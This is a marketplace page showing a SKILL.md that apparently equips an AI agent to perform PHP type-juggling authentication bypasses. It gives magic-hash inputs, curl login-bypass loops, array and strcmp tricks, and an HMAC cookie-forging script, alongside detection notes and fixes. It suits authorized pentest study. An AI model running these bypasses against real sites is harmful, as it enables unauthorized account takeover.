Skip to main content

php-type-juggling

PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 5월 30일 01:29
감지된 SKILL.md 언어
영어
스타
5,565
포크
1,053

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
php-type-juggling
description
PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.
allowed-tools
Bash Read Write
metadata
{"subdomain":"authentication","when_to_use":"php type juggling, loose comparison, magic hash, 0e hash, strcmp bypass, php authentication bypass, hash collision php, php == comparison, md5 collision, sha1 collision","tags":"web-application, php, authentication-bypass, type-juggling, magic-hash, loose-comparison","mitre_attack":"T1190, T1606.001"}
# PHP Type Juggling and Magic Hash Attacks > **Authorized-use only.** Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide. PHP is a loosely typed language. When comparing values with `==` (loose) rather than `===` (strict), PHP coerces types — a string beginning with `0e` followed only by digits is treated as scientific notation and equals `0`. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors. Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain. ## ATT&CK Mapping | Technique | Notes | |-----------|-------| | T1190 | Exploit public-facing application — auth bypass via comparison flaw | | T1606.001 | Forge web credentials — force authentication with crafted hash values | ## 1. Loose Comparison Cheat Sheet ``` '0010e2' == '1e3' → true (both evaluate as float 1000) '123' == 123 → true (string cast to int) '123abc' == 123 → true (leading numeric string) 'abc' == 0 → true (non-numeric string == 0 in PHP 5/7) '' == 0 → true 0 == false → true false == NULL → true NULL == '' → true md5([]) == NULL → true (NULL == any string starting with 0e) sha1([]) == NULL → true ``` PHP 8.0 change: `'abc' == 0` now evaluates to `false`. Check target PHP version before assuming string-zero bypass. ## 2. Magic Hashes — 0e Collisions When a hash output starts with `0e` followed only by digits, PHP's `==` comparison treats it as float `0`. Two such hashes are "equal" under `==` regardless of their actual values. ### MD5 Magic Strings | Input | MD5 Hash | |-------|----------| | `240610708` | `0e462097431906509019562988736854` | | `QNKCDZO` | `0e830400451993494058024219903391` | | `0e1137126905` | `0e291659922323405260514745084877` | | `0e215962017` | `0e291242476940776845150308577824` | | `aabg7XSs` | `0e087386482136013740957780965295` | ### SHA-1 Magic Strings | Input | SHA-1 Hash | |-------|-----------| | `10932435112` | `0e07766915004133176347055865026311692244` | | `aaroZmOk` | `0e66507019969427134894567494305185566735` | | `aaK1STfY` | `0e76658526655756207688271159624026011393` | ### SHA-224 / SHA-256 Magic Strings | Hash | Input | Output | |------|-------|--------| | SHA-224 | `10885164793773` | `0e281250946775200129471613219196999537878926740638594636` | | SHA-256 | `34250003024812` | `0e46289032038065916139621039085883773413820991920706299695051332` | | SHA-256 | `TyNOQHUS` | `0e66298694359207596086558843543959518835691168370379069085300385` | ### Exploitation ```bash # Login bypass — submit a magic hash input instead of the real password # Server code: if (md5($input) == $stored_hash) { login() } # If $stored_hash is also a 0e... hash, any 0e... input collides. # Try magic inputs against a login endpoint for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do echo -n "Trying $magic: " curl -si "https://target.example.com/login" \ -d "username=admin&password=${magic}" \ | grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2 done ``` ## 3. NULL Bypass via Array Input `md5([])` and `sha1([])` in PHP 5/7 return `NULL` with a warning. Under loose comparison, `NULL == ''` is true. If the server compares `md5($input) == ''` or similar: ```bash # Send array input to hash functions — triggers NULL return curl -si "https://target.example.com/login" \ -d "username=admin&password[]=" \ | grep -E "Location:|Set-Cookie:|error" # POST with array notation curl -si "https://target.example.com/verify" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "hash[]=&user=admin" \ | grep -i "success\|error\|redirect" ``` ## 4. strcmp() Return Value Bypass `strcmp()` returns `0` (equal) on success, non-zero otherwise. Under loose comparison, `strcmp($input, $secret) == 0` can be bypassed by passing an array (returns NULL, and `NULL == 0` is true in PHP 5/7): ```bash # Bypass strcmp-based password check # Server: if (strcmp($_POST['pass'], $secret) == 0) { ... } curl -si "https://target.example.com/login" \ -d "username=admin&pass[]=" \ | grep -iE "success|welcome|redirect|Location" ``` ## 5. HMAC Brute-Force for 0e Collision (Magic HMAC) When a cookie HMAC is verified with loose comparison against `"0"`, an attacker brute-forces an expiration timestamp until `hash_hmac('md5', payload, key)` produces a `0e...` string — which equals `"0"` under `==`. This works when the key is empty or known (e.g., leaked via `.env`). ```bash # PHP script to find a magic HMAC timestamp (empty key example) # Run: php find_magic_hmac.php cat > /tmp/find_magic_hmac.php << 'EOF' <?php $username = 'admin'; $key = ''; // replace with known key or empty string leak for ($i = 1424869663; $i < 1835970773; $i++) { $out = hash_hmac('md5', $username . '|' . $i, $key); if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) { echo "Found: expiration=$i hash=$out\n"; break; } } EOF php /tmp/find_magic_hmac.php # Then craft the cookie with hmac=0 and the found expiration # cookie: username=admin; expiration=<found>; hmac=0 ``` ## 6. Type Juggling in JSON APIs JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison: ```bash # Send integer 0 instead of string "false"/"no" curl -si "https://target.example.com/api/verify" \ -H "Content-Type: application/json" \ -d '{"token": 0, "user": "admin"}' \ | grep -iE "success|error|200" # Send true to bypass boolean checks curl -si "https://target.example.com/api/verify" \ -H "Content-Type: application/json" \ -d '{"admin": true, "role": "admin"}' \ | grep -iE "success|error|200" ``` ## 7. Identify Vulnerable PHP Code Patterns ```bash # Grep the target's source (if accessible — e.g., leaked backup, open source app) grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null # Look for PHP version to assess 0e / array bypass viability curl -si "https://target.example.com/info.php" | grep -i "PHP Version" curl -si "https://target.example.com/" | grep -i "x-powered-by" ``` ## 8. Common Targets in the Wild | Application Class | Likely Sink | |-------------------|-------------| | Custom PHP login forms | `md5($pass) == $stored` | | Token validation endpoints | `strcmp($token, $secret) == 0` | | HMAC cookie verifiers | `hmac($cookie) != $supplied` using `==` | | Email unsubscribe links | `md5($email) == $_GET['hash']` | | Admin PIN verification | `sha1($pin) == $db_hash` | ## Detection Notes - PHP 8.0+ resolves `'abc' == 0 → false` and makes `strcmp` throw on array input; PHP 7 and below remain vulnerable - Static analysis: `psalm --taint-analysis`, `phpstan` level 8 flag loose comparisons - Dynamic: supply `[]` for hash/strcmp parameters, observe PHP warning in response or error logs - Fix: always use `===` for hash comparisons and `hash_equals()` for timing-safe HMAC checks ## References - [PayloadsAllTheThings: Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling) - [OWASP: PHP Type Juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) - [Magic Hashes — spaze/hashes](https://github.com/spaze/hashes) - [Super Magic Hashes — Almond Consulting](https://offsec.almond.consulting/super-magic-hash.html)
GitHub에서 보기